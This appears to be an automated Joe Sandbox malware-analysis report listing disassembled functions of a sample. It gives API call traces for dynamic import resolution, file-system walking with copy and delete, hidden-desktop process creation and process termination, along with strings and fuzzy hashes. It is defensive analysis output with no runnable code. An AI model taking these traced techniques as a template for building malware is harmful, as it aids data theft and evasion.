Function 005A63C0 Relevance: 58.0, APIs: 32, Strings: 1, Instructions: 218
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(74DD0000,011D2D10), ref: 005A6419
GetProcAddress.KERNEL32(74DD0000,011D2BF0), ref: 005A6432
GetProcAddress.KERNEL32(74DD0000,011D2B78), ref: 005A644A
GetProcAddress.KERNEL32(74DD0000,011D2D40), ref: 005A6462
GetProcAddress.KERNEL32(74DD0000,011D1498), ref: 005A647B
GetProcAddress.KERNEL32(74DD0000,011CABD0), ref: 005A6493
GetProcAddress.KERNEL32(74DD0000,011CABF0), ref: 005A64AB
GetProcAddress.KERNEL32(74DD0000,011D2B90), ref: 005A64C4
GetProcAddress.KERNEL32(74DD0000,011D2C50), ref: 005A64DC
GetProcAddress.KERNEL32(74DD0000,011D2BA8), ref: 005A64F4
GetProcAddress.KERNEL32(74DD0000,011D2C20), ref: 005A650D
GetProcAddress.KERNEL32(74DD0000,011CAC10), ref: 005A6525
GetProcAddress.KERNEL32(74DD0000,011D2C38), ref: 005A653D
GetProcAddress.KERNEL32(74DD0000,011D2C98), ref: 005A6556
GetProcAddress.KERNEL32(74DD0000,011CABB0), ref: 005A656E
GetProcAddress.KERNEL32(74DD0000,011D2CC8), ref: 005A6586
GetProcAddress.KERNEL32(74DD0000,011D2CE0), ref: 005A659F
GetProcAddress.KERNEL32(74DD0000,011CAEF0), ref: 005A65B7
GetProcAddress.KERNEL32(74DD0000,011D2E18), ref: 005A65CF
GetProcAddress.KERNEL32(74DD0000,011CAC50), ref: 005A65E8
LoadLibraryA.KERNEL32(011D2E48,?,?,?,005A1BE3), ref: 005A65F9
LoadLibraryA.KERNEL32(011D2E60,?,?,?,005A1BE3), ref: 005A660B
LoadLibraryA.KERNEL32(011D2DE8,?,?,?,005A1BE3), ref: 005A661D
LoadLibraryA.KERNEL32(011D2E00,?,?,?,005A1BE3), ref: 005A662E
LoadLibraryA.KERNEL32(011D2E30,?,?,?,005A1BE3), ref: 005A6640
GetProcAddress.KERNEL32(75A70000,011D2E78), ref: 005A665D
GetProcAddress.KERNEL32(75290000,011D2DB8), ref: 005A6679
GetProcAddress.KERNEL32(75290000,011D2DD0), ref: 005A6691
GetProcAddress.KERNEL32(75BD0000,011D3E88), ref: 005A66AD
GetProcAddress.KERNEL32(75450000,011CAC70), ref: 005A66C9
GetProcAddress.KERNEL32(76E90000,011D14A8), ref: 005A66E5
GetProcAddress.KERNEL32(76E90000,NtQueryInformationProcess), ref: 005A66FC

Strings

NtQueryInformationProcess, xrefs: 005A66F1

Memory Dump Source

Source File: 00000000.00000002.1974441633.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1974427080.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974461706.00000000005AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974476116.00000000005B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000604000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000635000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.000000000064C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000007B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974641389.00000000007CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_glpEv3POe7.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: NtQueryInformationProcess
API String ID: 2238633743-2781105232
Opcode ID: dede63756f0782ed3e7361a542cfe48382f16ac48a137eaf35abc522f5e761eb
Instruction ID: d87f2dfb5f60821af5d7ad0c4ec0f67b053dc3eb4de489d22c8832eb15abdf69
Opcode Fuzzy Hash: dede63756f0782ed3e7361a542cfe48382f16ac48a137eaf35abc522f5e761eb
Instruction Fuzzy Hash: 7FA160B5A11616DFD794EF64EC49F263BB9F789240304C719EB2583360EB38A800DB69

Function 005915E0 Relevance: 52.8, APIs: 29, Strings: 1, Instructions: 335
stringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcpy.KERNEL32(00000000,005AD014), ref: 00591602
lstrcpy.KERNEL32(00000000,00000000), ref: 00591625
lstrcatA.KERNEL32(00000000,00000000), ref: 00591630
lstrlenA.KERNEL32(005B5268), ref: 0059163B
lstrcpy.KERNEL32(00000000,00000000), ref: 00591658
lstrcatA.KERNEL32(00000000,005B5268), ref: 00591664
lstrcpy.KERNEL32(00000000,00000000), ref: 00591692
FindFirstFileA.KERNEL32(00000000,?), ref: 005916AC
StrCmpCA.SHLWAPI(?,005B1D68), ref: 005916CB
StrCmpCA.SHLWAPI(?,005B1D6C), ref: 005916E3
lstrcpy.KERNEL32(00000000,005AD014), ref: 00591720
lstrcpy.KERNEL32(00000000,?), ref: 00591749
lstrcatA.KERNEL32(00000000,00000000), ref: 00591754
lstrlenA.KERNEL32(005B1D5C), ref: 0059175F
lstrcpy.KERNEL32(00000000,00000000), ref: 0059177C
lstrcatA.KERNEL32(00000000,005B1D5C), ref: 00591788
lstrlenA.KERNEL32(?), ref: 00591793
lstrcpy.KERNEL32(00000000,00000000), ref: 005917B5
lstrcatA.KERNEL32(00000000,?), ref: 005917C1
lstrcpy.KERNEL32(00000000,00000000), ref: 005917EE
StrCmpCA.SHLWAPI(?,011E0040), ref: 00591815
lstrcpy.KERNEL32(00000000,?), ref: 00591856
lstrcpy.KERNEL32(00000000,?), ref: 0059187F
lstrcpy.KERNEL32(00000000,?), ref: 005918B3
lstrcpy.KERNEL32(00000000,?), ref: 00591B24
lstrcpy.KERNEL32(00000000,?), ref: 00591B58
lstrcpy.KERNEL32(00000000,?), ref: 00591B93
FindNextFileA.KERNELBASE(00000000,?), ref: 00591BBB
FindClose.KERNEL32(00000000), ref: 00591BCA

Strings

hhR[, xrefs: 00591636

Memory Dump Source

Source File: 00000000.00000002.1974441633.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1974427080.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974461706.00000000005AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974476116.00000000005B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000604000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000635000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.000000000064C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000007B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974641389.00000000007CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_glpEv3POe7.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$Findlstrlen$File$CloseFirstNext
String ID: hhR[
API String ID: 1346933759-3978702274
Opcode ID: 4c19a2c828e6dd9ddeaf1ac4068e4199a9342e868560d64dc2f3caf39b43036d
Instruction ID: 001984b35c089a771a94f184ff94176104c56b6e885a34216383a373cfbbf2df
Opcode Fuzzy Hash: 4c19a2c828e6dd9ddeaf1ac4068e4199a9342e868560d64dc2f3caf39b43036d
Instruction Fuzzy Hash: 8BC18F30A007179BCB24BF78C88DA6B7FE9BF84700F044A28F955A7261DB34DC458B99

Function 0059E330 Relevance: 38.7, APIs: 20, Strings: 2, Instructions: 213stringfileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0059E353
FindFirstFileA.KERNEL32(?,?), ref: 0059E369
StrCmpCA.SHLWAPI(?,005B1D68), ref: 0059E388
StrCmpCA.SHLWAPI(?,005B1D6C), ref: 0059E3A0
wsprintfA.USER32 ref: 0059E3C7
StrCmpCA.SHLWAPI(?,005AD014), ref: 0059E3DC
wsprintfA.USER32 ref: 0059E3F8

Part of subcall function 0059EF30: lstrcpy.KERNEL32(00000000,?), ref: 0059EF62

wsprintfA.USER32 ref: 0059E416
PathMatchSpecA.SHLWAPI(?,?), ref: 0059E42B
lstrcatA.KERNEL32(?,011DD648), ref: 0059E460
lstrcatA.KERNEL32(?,005B1D5C), ref: 0059E473
lstrcatA.KERNEL32(?,?), ref: 0059E488
lstrcatA.KERNEL32(?,005B1D5C), ref: 0059E49B
lstrcatA.KERNEL32(?,?), ref: 0059E4B1
CopyFileA.KERNEL32(?,?,00000001), ref: 0059E4C6
lstrcpy.KERNEL32(00000000,?), ref: 0059E4FF
lstrcpy.KERNEL32(00000000,?), ref: 0059E553
DeleteFileA.KERNEL32(?), ref: 0059E594

Part of subcall function 00581410: lstrcpy.KERNEL32(00000000,?), ref: 00581437
Part of subcall function 00581410: lstrcpy.KERNEL32(00000000,?), ref: 00581459
Part of subcall function 00581410: lstrcpy.KERNEL32(00000000,?), ref: 0058147B
Part of subcall function 00581410: lstrcpy.KERNEL32(00000000,?), ref: 005814DF

FindNextFileA.KERNEL32(00000000,?), ref: 0059E5D9
FindClose.KERNEL32(00000000), ref: 0059E5E8

Strings

%s\*, xrefs: 0059E34D
%s\%s, xrefs: 0059E3C1, 0059E410

Memory Dump Source

Source File: 00000000.00000002.1974441633.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1974427080.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974461706.00000000005AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974476116.00000000005B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000604000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000635000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.000000000064C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000007B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974641389.00000000007CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_glpEv3POe7.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$Filewsprintf$Find$CloseCopyDeleteFirstMatchNextPathSpec
String ID: %s\%s$%s\*
API String ID: 1375681507-2848263008
Opcode ID: 41e6dd8692690188c247c3a00d866d36d887bdcdcc97e7bd3fa411e54584c135
Instruction ID: 6ea69e5e952fbbf7421aab8d486a14c26d44fdf22d8b296971cd153cba3d767f
Opcode Fuzzy Hash: 41e6dd8692690188c247c3a00d866d36d887bdcdcc97e7bd3fa411e54584c135
Instruction Fuzzy Hash: 398161715143459BCB20EFB4DC49FEF7BA9BB84300F408918FA5987151EA34E548CBA6

Function 6C4535A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294stringtimeCOMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6C4DF688,00001000), ref: 6C4535D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C4535E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6C4535FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C45363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C45369F
__aulldiv.LIBCMT ref: 6C4536E4
QueryPerformanceCounter.KERNEL32(?), ref: 6C453773
EnterCriticalSection.KERNEL32(6C4DF688), ref: 6C45377E
LeaveCriticalSection.KERNEL32(6C4DF688), ref: 6C4537BD
QueryPerformanceCounter.KERNEL32(?), ref: 6C4537C4
EnterCriticalSection.KERNEL32(6C4DF688), ref: 6C4537CB
LeaveCriticalSection.KERNEL32(6C4DF688), ref: 6C453801
__aulldiv.LIBCMT ref: 6C453883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6C453902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6C453918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6C45394C

Strings

MOZ_TIMESTAMP_MODE, xrefs: 6C4535DB
GTC, xrefs: 6C453912
QPC, xrefs: 6C4538FC
AuthcAMDenti, xrefs: 6C453946
GenuntelineI, xrefs: 6C453639

Memory Dump Source

Source File: 00000000.00000002.1980653967.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.1980639922.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1980697850.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1980714845.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1980728615.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_glpEv3POe7.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: 2943a2f0a32fe47d86419aaa762f4d7c961f764a44fb1fd46916d5ede9124b05
Instruction ID: df6a2d4568c3332d8bbb7da6f740b2a876b5b7b5ab1f7bf90f2f7e34adec924a
Opcode Fuzzy Hash: 2943a2f0a32fe47d86419aaa762f4d7c961f764a44fb1fd46916d5ede9124b05
Instruction Fuzzy Hash: 14B180B1B053109FDB18FF28C854F1ABBF5AB8A704F45892EF899D7790D770A9018B91

Function 00589876 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 174stringsleepprocessCOMMON

Download Yara Rule

APIs

CreateDesktopA.USER32(?), ref: 00589888
memset.MSVCRT ref: 005898A6
lstrcatA.KERNEL32(?,?), ref: 005898BB
lstrcatA.KERNEL32(?,?), ref: 005898CD
lstrcatA.KERNEL32(?,005B5120), ref: 005898DD
memset.MSVCRT(?,00000000,00000104), ref: 005898F2
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0058991A
lstrcpy.KERNEL32(00000000,?), ref: 00589950
StrStrA.SHLWAPI(?,011E0508), ref: 00589965
lstrcpyn.KERNEL32(007B93D0,?,00000000), ref: 00589982
lstrlenA.KERNEL32(?), ref: 00589996
wsprintfA.USER32 ref: 005899A6
lstrcpy.KERNEL32(?,?), ref: 005899BD
memset.MSVCRT ref: 005899D3
CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,08000000,00000000,00000000,?,00000000), ref: 00589A32
Sleep.KERNEL32(00001388), ref: 00589A41
CloseDesktop.USER32(?), ref: 00589A81

Strings

D, xrefs: 005899EA
%s%s, xrefs: 005899A0

Memory Dump Source

Source File: 00000000.00000002.1974441633.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1974427080.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974461706.00000000005AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974476116.00000000005B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000604000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000635000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.000000000064C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000007B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974641389.00000000007CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_glpEv3POe7.jbxd

Yara matches

Similarity

API ID: lstrcatmemset$CreateDesktoplstrcpy$CloseFolderPathProcessSleeplstrcpynlstrlenwsprintf
String ID: %s%s$D
API String ID: 1290255780-433275411
Opcode ID: 3a0790f823b7fc595e8c3e7a48b1827ce9ce0e793d4960c46411845947c54794
Instruction ID: 5bedd2c55334044ede15f4ebd1c56b1a7986a0df48bfdd2fc31130a435773630
Opcode Fuzzy Hash: 3a0790f823b7fc595e8c3e7a48b1827ce9ce0e793d4960c46411845947c54794
Instruction Fuzzy Hash: 3F616071214345AFD720EF64DC49FAB7BE8BFC8700F008919FA999B191DB749904CBA6

Function 005815B9 Relevance: 31.7, APIs: 17, Strings: 1, Instructions: 219stringCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,005AD014), ref: 005815E2
lstrcpy.KERNEL32(00000000,005AD014), ref: 00581619
lstrcpy.KERNEL32(00000000,00000000), ref: 0058166C
lstrcatA.KERNEL32(00000000), ref: 00581676
lstrcpy.KERNEL32(00000000,00000000), ref: 005816A2
lstrcpy.KERNEL32(00000000,?), ref: 005817F3
lstrcatA.KERNEL32(00000000,00000000), ref: 005817FE

Strings

\*.*, xrefs: 0058186C, 00581894

Memory Dump Source

Source File: 00000000.00000002.1974441633.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1974427080.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974461706.00000000005AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974476116.00000000005B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000604000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000635000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.000000000064C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000007B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974641389.00000000007CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_glpEv3POe7.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat
String ID: \*.*
API String ID: 2276651480-1173974218
Opcode ID: f4db499ece05f99b679e793a2fb507b8fa1885f460404c91e1417c0e50373bb2
Instruction ID: 896dceb9ba9eb0eaa77ba5323b4f0ad55b7fcd1ed9b1f7af7b2b7524e69dfb12
Opcode Fuzzy Hash: f4db499ece05f99b679e793a2fb507b8fa1885f460404c91e1417c0e50373bb2
Instruction Fuzzy Hash: AD81393191161A9BCB21FFA8C88DAAE7FF8BF84700F044164FD15B7261DB349D428BA5

Function 0059D640 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 183stringfileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0059D65D
FindFirstFileA.KERNEL32(?,?), ref: 0059D674
StrCmpCA.SHLWAPI(?,005B1D68), ref: 0059D694
StrCmpCA.SHLWAPI(?,005B1D6C), ref: 0059D6AE
lstrcatA.KERNEL32(?,011DD648), ref: 0059D6F3
lstrcatA.KERNEL32(?,011DD638), ref: 0059D707
lstrcatA.KERNEL32(?,?), ref: 0059D71B
lstrcatA.KERNEL32(?,?), ref: 0059D72C
lstrcatA.KERNEL32(?,005B1D5C), ref: 0059D73E
lstrcatA.KERNEL32(?,?), ref: 0059D752
lstrcpy.KERNEL32(00000000,?), ref: 0059D792
lstrcpy.KERNEL32(00000000,?), ref: 0059D7E2
FindNextFileA.KERNEL32(00000000,?), ref: 0059D847
FindClose.KERNEL32(00000000), ref: 0059D856

Strings

%s\%s, xrefs: 0059D657

Memory Dump Source

Source File: 00000000.00000002.1974441633.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1974427080.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974461706.00000000005AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974476116.00000000005B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000604000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000635000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.000000000064C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000007B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974641389.00000000007CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_glpEv3POe7.jbxd

Yara matches

Similarity

API ID: lstrcat$Find$Filelstrcpy$CloseFirstNextwsprintf
String ID: %s\%s
API String ID: 50252434-4073750446
Opcode ID: c22a586e17830c7c4472fbb6d6fbd9bae7cc6c17a1951ec8fd83685d97e11346
Instruction ID: 59a6d354017c37cefa8bda2f0a3f7e10a98f21badefa278235e278f064a1409f
Opcode Fuzzy Hash: c22a586e17830c7c4472fbb6d6fbd9bae7cc6c17a1951ec8fd83685d97e11346
Instruction Fuzzy Hash: 426153759102199BCF10EFB4CC88AEE7BB8FF48300F0085A5EA59A3251DB34AA45CF90

Function 00592749 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 106stringfileCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,005AD014), ref: 00592774
lstrcpy.KERNEL32(00000000,00000000), ref: 00592797
lstrcatA.KERNEL32(00000000,00000000), ref: 005927A2
lstrlenA.KERNEL32(\*.*), ref: 005927AD
lstrcpy.KERNEL32(00000000,00000000), ref: 005927CA
lstrcatA.KERNEL32(00000000,\*.*), ref: 005927D6
lstrcpy.KERNEL32(00000000,00000000), ref: 0059280A
FindFirstFileA.KERNEL32(00000000,?), ref: 00592826

Strings

\*.*, xrefs: 005927A8, 005927D0

Memory Dump Source

Source File: 00000000.00000002.1974441633.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1974427080.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974461706.00000000005AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974476116.00000000005B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000604000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000635000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.000000000064C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000007B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974641389.00000000007CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_glpEv3POe7.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$FileFindFirstlstrlen
String ID: \*.*
API String ID: 2567437900-1173974218
Opcode ID: cd5546bc9770c0768b95246362ba3ac2371f7bc7cdb1695f0739d2a251e0ad34
Instruction ID: 345c733d1a4534bc44039ccf357fdf23f00210791e8a6bfb316c9debf14ed274
Opcode Fuzzy Hash: cd5546bc9770c0768b95246362ba3ac2371f7bc7cdb1695f0739d2a251e0ad34
Instruction Fuzzy Hash: CF41193161161AABCB21BFA8CC8DB9E7FE4BF84700F4451A4FD59A7262CB349C418B90

Function 00592747 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 106stringfileCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,005AD014), ref: 00592774
lstrcpy.KERNEL32(00000000,00000000), ref: 00592797
lstrcatA.KERNEL32(00000000,00000000), ref: 005927A2
lstrlenA.KERNEL32(\*.*), ref: 005927AD
lstrcpy.KERNEL32(00000000,00000000), ref: 005927CA
lstrcatA.KERNEL32(00000000,\*.*), ref: 005927D6
lstrcpy.KERNEL32(00000000,00000000), ref: 0059280A
FindFirstFileA.KERNEL32(00000000,?), ref: 00592826

Strings

\*.*, xrefs: 005927A8, 005927D0

Memory Dump Source

Source File: 00000000.00000002.1974441633.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1974427080.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974461706.00000000005AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974476116.00000000005B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000604000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000635000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.000000000064C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000007B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974641389.00000000007CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_glpEv3POe7.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$FileFindFirstlstrlen
String ID: \*.*
API String ID: 2567437900-1173974218
Opcode ID: d36d6f1d41b46c6874c2ff7f72722cbe120b1762b15dadce014e8651dae3e5dd
Instruction ID: 6e53f40cb9ac8c6be0e3e6082567e02f367300319eead5d64a9fbc474860a844
Opcode Fuzzy Hash: d36d6f1d41b46c6874c2ff7f72722cbe120b1762b15dadce014e8651dae3e5dd
Instruction Fuzzy Hash: 0E311D3161161AABCB21FFA8CC8DA9E7FE4BF84700F445164FD59B7262CB349D458B90

Function 005A46C0 Relevance: 13.6, APIs: 9, Instructions: 54processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,?,00000000), ref: 005A46D9
Process32First.KERNEL32(00000000,00000128), ref: 005A46E9
Process32Next.KERNEL32(00000000,00000128), ref: 005A46FB
StrCmpCA.SHLWAPI(?,?), ref: 005A470D
OpenProcess.KERNEL32(00000001,00000000,?), ref: 005A4722
TerminateProcess.KERNEL32(00000000,00000000), ref: 005A4731
CloseHandle.KERNEL32(00000000), ref: 005A4738
Process32Next.KERNEL32(00000000,00000128), ref: 005A4746
CloseHandle.KERNEL32(00000000), ref: 005A4751

Memory Dump Source

Source File: 00000000.00000002.1974441633.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1974427080.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974461706.00000000005AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974476116.00000000005B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000604000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000635000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.000000000064C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000007B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974641389.00000000007CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_glpEv3POe7.jbxd

Yara matches

Similarity

API ID: Process32$CloseHandleNextProcess$CreateFirstOpenSnapshotTerminateToolhelp32
String ID:
API String ID: 3836391474-0
Opcode ID: e36e207ef493e71c3b547c091a5153d52e850b7ca3ecabd70bf366838b143316
Instruction ID: 164a51df41343c6093cfaea37355087a4497ad440a4be2c9adf2bc2d33b192a8
Opcode Fuzzy Hash: e36e207ef493e71c3b547c091a5153d52e850b7ca3ecabd70bf366838b143316
Instruction Fuzzy Hash: 6701A1315011156BE7216B609C88FFE3B7CEB8AB01F044288FA05D5180EFB89941CB69

Function 005A4630 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 45processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,00000000), ref: 005A4648
